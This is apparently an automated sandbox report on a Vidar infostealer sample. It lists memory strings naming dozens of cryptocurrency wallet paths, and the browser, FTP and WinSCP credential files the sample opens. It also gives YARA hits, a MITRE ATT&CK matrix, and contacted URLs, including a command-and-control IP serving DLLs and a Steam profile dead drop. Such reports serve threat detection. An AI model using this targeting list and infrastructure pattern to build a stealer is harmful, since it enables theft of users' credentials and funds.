Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: powershell.exe, 00000005.00000002.1260218212.0000000007C80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sqlcolumnencryptionkeystoreprovider
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 0000000D.00000002.1661591240.00000000013FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\places.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Source: Yara match	File source: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1661591240.00000000013B6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7696, type: MEMORYSTR

Remote Access Functionality

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 6.2.powershell.exe.61cabb8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.powershell.exe.61cabb8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.1334348181.00000000061CA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1347040814.0000000009099000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7252, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7696, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CF40C40 sqlite3_bind_zeroblob,	13_2_6CF40C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CF40D60 sqlite3_bind_parameter_name,	13_2_6CF40D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CE68EA0 sqlite3_clear_bindings,	13_2_6CE68EA0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	112 Scripting	Valid Accounts	1 Windows Management Instrumentation	112 Scripting	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	2 Obfuscated Files or Information	1 Credentials in Registry	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	311 Process Injection	1 Software Packing	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	11 Command and Scripting Interpreter	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	56 System Information Discovery	Distributed Component Object Model	1 Clipboard Data	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	4 PowerShell	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	141 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	21 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	311 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
yU3icg18lq.exe	21%	ReversingLabs
yU3icg18lq.exe	24%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Link
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	Virustotal	Browse
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	Virustotal	Browse
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	Virustotal	Browse
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	Virustotal	Browse
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	Virustotal	Browse
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\sqlm[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\sqlm[1].dll	1%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\freebl3[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\mozglue[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\msvcp140[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\nss3[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\softokn3[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\vcruntime140[1].dll	0%	Virustotal	Browse

Source	Detection	Scanner	Label	Link
https://mozilla.org0/	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	100%	URL Reputation	malware
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://78.46.229.36/msvcp140.dlla	0%	Avira URL Cloud	safe
https://78.46.229.36/otti	0%	Avira URL Cloud	safe
https://78.46.229.36/msvcp140.dll	0%	Avira URL Cloud	safe
https://78.46.229.36/mozglue.dll	0%	Avira URL Cloud	safe
https://78.46.229.36/	0%	Avira URL Cloud	safe
https://78.46.229.36/softokn3.dll	0%	Avira URL Cloud	safe
http://crl.microsoft=	0%	Avira URL Cloud	safe
https://78.46.229.36/sqlm.dlla	0%	Avira URL Cloud	safe
https://78.46.229.36/freebl3.dll	0%	Avira URL Cloud	safe
https://78.46.229.36/nss3.dll	0%	Avira URL Cloud	safe
https://78.46.229.36	0%	Avira URL Cloud	safe
https://78.46.229.36/ets	0%	Avira URL Cloud	safe
https://78.46.229.36/	2%	Virustotal		Browse
https://78.46.229.36/vcruntime140.dll	0%	Avira URL Cloud	safe
https://78.46.229.36/R	0%	Avira URL Cloud	safe
https://78.46.229.36/sqlm.dll	0%	Avira URL Cloud	safe
https://78.46.229.36/f	0%	Avira URL Cloud	safe
https://78.46.229.36	2%	Virustotal		Browse
https://78.46.229.3625763b9287ant-Disposition:	0%	Avira URL Cloud	safe
https://78.46.229.36/nss3.dll~$	0%	Avira URL Cloud	safe
https://78.46.229.36/D	0%	Avira URL Cloud	safe
https://78.46.229.36/pet	0%	Avira URL Cloud	safe
https://78.46.229.36/sqlm.dll	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
steamcommunity.com	23.47.27.74	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://78.46.229.36/msvcp140.dll	true	Avira URL Cloud: safe	unknown
https://78.46.229.36/mozglue.dll	true	Avira URL Cloud: safe	unknown
https://78.46.229.36/	true	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://78.46.229.36/softokn3.dll	true	Avira URL Cloud: safe	unknown
https://78.46.229.36/freebl3.dll	true	Avira URL Cloud: safe	unknown
https://78.46.229.36/nss3.dll	true	Avira URL Cloud: safe	unknown
https://78.46.229.36/vcruntime140.dll	true	Avira URL Cloud: safe	unknown
https://78.46.229.36/sqlm.dll	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199658817715	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	FCAKFCGC.13.dr	false		high
https://duckduckgo.com/ac/?q=	FCAKFCGC.13.dr	false		high
https://steamcommunity.com/?subsection=broadcasts	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=GRA9	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://78.46.229.36/msvcp140.dlla	RegAsm.exe, 0000000D.00000002.1661591240.000000000141C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/subscriber_agreement/	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://78.46.229.36/otti	RegAsm.exe, 0000000D.00000002.1661591240.000000000141C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=GfA42_x2_aub&	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpE	RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://steamcommunity.com/profiles/76561199658817715/badges	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
http://www.valvesoftware.com/legal.htm	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000005.00000002.1257996992.00000000063CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1334348181.0000000005B9A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=KrKRjQbCfNh0&	RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000005.00000002.1256212858.0000000005361000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1331090186.0000000004B31000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.TP5s6TzX6LLh&	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=Zj8Lt-uyXH8R&	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
